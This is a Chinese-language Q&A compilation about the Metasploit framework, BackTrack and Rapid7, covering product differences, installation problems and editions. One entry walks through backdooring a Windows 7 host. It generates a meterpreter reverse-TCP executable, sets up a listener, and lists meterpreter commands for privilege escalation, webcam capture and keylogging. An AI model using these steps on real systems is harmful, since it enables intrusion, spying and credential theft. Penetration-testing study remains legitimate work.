A. Metasploit和backtrack有什么区别
metasploit只是一个渗透框架，比较专注，算是一款工具，backtrack是linux定制系统，继承了非常多种类的工具，backtrack上面也有删减版本的metasploit 不知道我说的明白不
B. 关于metasploit
装BT5吧 BT5里面有Metasploit 你的系统应该是XP的 所以不太支持
C. metasploit对不同语言操作系统敏感么
Metasploit利用时对目标主机操作系统不同语言版本是有区分的，比如目标同样是Windows XP的操作系统，有的exploit只能对英文版进行利用，简体中文版就不行，不过这种情况很少罢了。
D. Metasploit最大化安装之后，双击Metasploit Console打开就直接关闭了什么原因而且
升级后的metasploit的web版本以失效新版本将web界面改为GUI,但非英语版本操作系统安装会有兼容性问题，记得在安装时候记得要如下修改方可正常安装，控制面板→区域和语言选项→标准和格式→英语(美国)安装完毕后记得改回来。 你的问题和你的截图不相符，截图是Web,提问是Console,这是两种不同的界面，如果是升级过Metasploit，浏览器打不开是正常的。,
E. Rapid7的Rapid7 介绍
Rapid7 的安装风险智能解决方案包括集成的风险管理和渗透测试产品 Nexpose 和 Metasploit, 它们使您的机构能对安全威胁和风险形势，主动获得准确的情报以及可操作的情境信息。Rapid7 独一无二地定位于提供安全风险情报的闭环解决方案，通过组合Nexpose的漏洞管理功能和Metasploit的渗透测试与风险验证功能，从而动态确定风险的存在和可能性。通过将数据与漏洞、滥用、恶意软件、错误配置和渗透测试信息相关联， Rapid7 将您电脑环境中的真实风险（Real Risk™）数量化。准确掌握了这些情境信息，我们可以提供清晰简洁的缓解建议和补救策略，并随时检测和跟踪风险趋势。 Rapid7 Nexpose 识别和管理“可被利用的”漏洞。基于准确的风险信息，制定更明智的安全决策。Rapid7 Nexpose 启用了全景式的漏洞管理，使得网络安全团队能够更快制定更佳的决策。Nexpose 确保您可以：扫描您的 100% 基础设施：扫描数据库，网络应用程序和所有的网络设备，确保您掌握所有漏洞的方方面面。准确理解您的真实风险形势：持续发现物理的和虚拟的资产，并集成恶意软件和滥用风险的信息，Nexpose助您精确洞察最重大的风险。迅速准确地区分风险的优先顺序：通过扫描发现成千上万的漏洞；使用 Real Risk，Nexpose 有效地将您的补救措施按优先顺序排列，避免浪费您的时间。校验漏洞是否已被补救：使用Metasploit集成的数据，您的安全团队可以校验补救措施是否成功，减少重复劳动，更有效地降低风险。基于全部物理资产和虚拟资产的详细风险报告，Nexpose 提供了情境化的，详细的，依序排列的补救路线图，并带有每个任务的时间预期，从而更有效更高效地降低风险。 Metasploit 帮助验证漏洞和补救方案，并管理风险评估。通过开源社区和Rapid7之间的合作, Metasploit® 软件帮助安全专家和IT专业人士识别安全风险，校验漏洞补救措施，并管理专家参与的安全评估。它提供了真正的安全风险信息，有助预防数据泄露。功能包括智能利用，密码审计，网络应用程序扫描，以及社会化编程。各种团队可以在Metasploit 协同工作并在合并的报表中提供他们的结果。Metasploit 版本覆盖免费版到专业企业版，都基于Metasploit Framework，它是一个开源软件开发包，带有世界最大的保证质量的公开漏洞库。 Metasploit Express提供了一个GUI（基于Web的），它不但可以访问标准的Metasploit Framework的所有功能，而且还给使用Metasploit进行入侵检测提供了一个流程。Metasploit Framework是一个工具包，而Metasploit Express为了完成特定的任务把这些工具组合到了一起。使用Metasploit Express提供的界面可以依次对目标网络进行扫描，安全漏洞发掘，和暴力破解。我们可以很快地从被攻击的机器收集到相关的证据，然后它会使用像Pass-the-Hash和SSH key reuse那样的技术，进一步执行安全漏洞发掘和暴力破解。在入侵检测完成以后，会生成一份高质量的报告，这份报告包括检测的结果和检测期间执行的每个操作的审核日志。
F. metasploit 和rapid7是什么关系
Metasploit是开源的渗透测试工具，rapid7是一家专门做漏洞扫描和风险管理安全解决方案的厂商，09年收购Metasploit，出了自己的产品叫Metasploit Pro版本。Pro版和Framework版功一样，所有功能两个都能做，只不过Pro版支持自动化和图形界面。相比Framework效率更高。
G. Metasploit和backtrack有什么区别
backtrack是一款基于ubuntu的linux系统。里面植入大量安全工具。metasploit是一款工具。加载了大量的漏洞利用工具exploit实为渗透利器。堪称入侵整个新球的工具！
H. metasploit中srvhost和lhost有什么不同
srvhost设置攻击的IP如果扫描用Namp那就是host查看扫描出来的数据库host我记得是列出当前可用数据库吧
I. 如何利用metasploit进行漏洞扫描和攻击
很多朋友对使用Metasploit利用后门程序进行渗透windows7都比较感兴趣，针对这些以下业内相关专家就给大家介绍下，当下黑客怎么利用Metasploit进行渗透windows7的。设定目标主机为：cn_win7_x86_7601虚拟机，地址为：192.168.0.116；而本地主机就为：192.168.0.149。方法步骤一：黑客用Msfpayload直接生成相关的后门程序，如下图。sfpayloadwindows/meterpreter/reverse_tcpLHOST=192.168.0.149x>steup.exe方法步骤二：黑客直接就能进入所在的目录并将属性进行修改，换为允许以程序执行文件，详细如下图。进入所在目录，修改属性：选择“允许以程序执行文件”,这时候也可以做一些免杀方法步骤三：接着黑客就打开msfconsole并加载exploit/multi/handler模块并进行设置本地主机，最后就能开始进行监听了，详细情况如下图。打开msfconsole，加载exploit/multi/handler模块，设置本地主机；然后开始监听：exploit-z-j：方法步骤四：黑客需要能将程序直接拷贝都目标主机中并进行执行。方法步骤五：以上步骤全部完成后黑客就能通过后门程序反向连接到msf，用msf就能发起第2次的攻击然后使用客户端也就是后门程序就能连接都服务端msf，详细的如下图。Meterpreter就是metasploit框架中的一个扩展模块，因此的话溢出成功后黑客就能攻击载荷进行使用，一旦攻击载荷在溢出攻击成功后就能再返回一个控制通道，这样就能将它作为攻击载荷成功获得目标系统的一个meterpretershell的链接。另外，附meterpreter常用命令：getsystem#会自动利用各种各样的系统漏洞来进行权限提升migrate#进程id进程迁移background#把当前的会话设置为背景，需要的时候在启用getuid#查看对方正在运行的用户ps#列出所有的进程getpid#返回运行meterpreter的id号sysinfo#产看系统信息和体系结构shell#切换到cmd的系统权限方式exit#退出shell会话返回meterpreter或终止meterpretergetdesktop截取目标主机当前桌面会话窗口runwebcam-p/var/www#在/var/www目录监控目标主机的摄像头keylog_recorder#使用migrate将会话迁移至explorer.exe的进程空间后记录键盘
J. metasploit官网的两个版本使用哪一个呢
免费版本的是没有自动攻击 而商业版本的有全自动自动攻击
